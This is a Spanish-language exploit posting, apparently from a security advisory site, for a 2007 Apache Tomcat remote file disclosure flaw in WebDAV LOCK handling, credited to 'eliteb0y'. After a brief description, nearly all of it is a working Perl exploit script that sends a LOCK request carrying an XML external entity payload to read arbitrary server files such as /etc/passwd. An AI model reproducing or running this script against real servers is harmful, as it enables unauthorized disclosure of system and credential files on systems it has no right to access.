Apache Tomcat archivo exploit
Una vulnerabilidad en Apache Tomcat permite a los atacantes
 remotos para divulgar el contenido de los archivos almacenados 
en el servidor remoto mediante la explotación de una vulnerabilidad
 en la forma en que la función se encarga de WebDAV peticiones LOCK .  
   
 Crédito: 
 La información ha sido proporcionada por eliteb0y 


Exploit:
#!/usr/bin/perl
#******************************************************
# Apache Tomcat Remote File Disclosure Zeroday Xploit
# kcdarookie aka eliteb0y / 2007
#
# thanx to the whole team & andi :)
# +++KEEP PRIV8+++
#
# This Bug may reside in different WebDav implementations,
# Warp your mind!
# +You will need auth for the exploit to work...
#******************************************************

use IO::Socket;
use MIME::Base64; ### FIXME! Maybe support other auths too ?

# SET REMOTE PORT HERE
$remoteport = 8080;

sub usage {
 print "Apache Tomcat Remote File Disclosure Zeroday Xploit\n";
 print "kcdarookie aka eliteb0y / 2007\n";
 print "usage: perl TOMCATXPL <remotehost> <webdav file> <file to retrieve> [username] [password]\n";
 print "example: perl TOMCATXPL www.hostname.com /webdav /etc/passwd tomcat tomcat\n";exit;
}

if ($#ARGV < 2) {usage();}

$hostname = $ARGV[0];
$webdavfile = $ARGV[1];
$remotefile = $ARGV[2];

$username = $ARGV[3];
$password = $ARGV[4];

my $sock = IO::Socket::INET->new(PeerAddr => $hostname,
                              PeerPort => $remoteport,
                              Proto => 'tcp');
                              
$|=1;
$BasicAuth = encode_base64("$username:$password");

$KRADXmL =
"<?xml version=\"1.0\"?>\n"
."<!DOCTYPE REMOTE [\n"
."<!ENTITY RemoteX SYSTEM \"$remotefile\">\n"
."]>\n"
."<D:lockinfo xmlns:D='DAV:'>\n"
."<D:lockscope><D:exclusive/></D:lockscope>\n"
."<D:locktype><D:write/></D:locktype>\n"
."<D:owner>\n"
."<D:href>\n"
."<REMOTE>\n"
."<RemoteX>&RemoteX;</RemoteX>\n"
."</REMOTE>\n"
."</D:href>\n"
."</D:owner>\n"
."</D:lockinfo>\n";

print "Apache Tomcat Remote File Disclosure Zeroday Xploit\n";
print "kcdarookie aka eliteb0y / 2007\n";
print "Launching Remote Exploit...\n";

$ExploitRequest =
 "LOCK $webdavfile HTTP/1.1\r\n"
."Host: $hostname\r\n";

if ($username ne "") {
$ExploitRequest .= "Authorization: Basic $BasicAuth\r\n";
}
$ExploitRequest .= "Content-Type: text/xml\r\nContent-Length: ".length($KRADXmL)."\r\n\r\n" . $KRADXmL;

print $sock $ExploitRequest;

while(<$sock>) {
 print;
}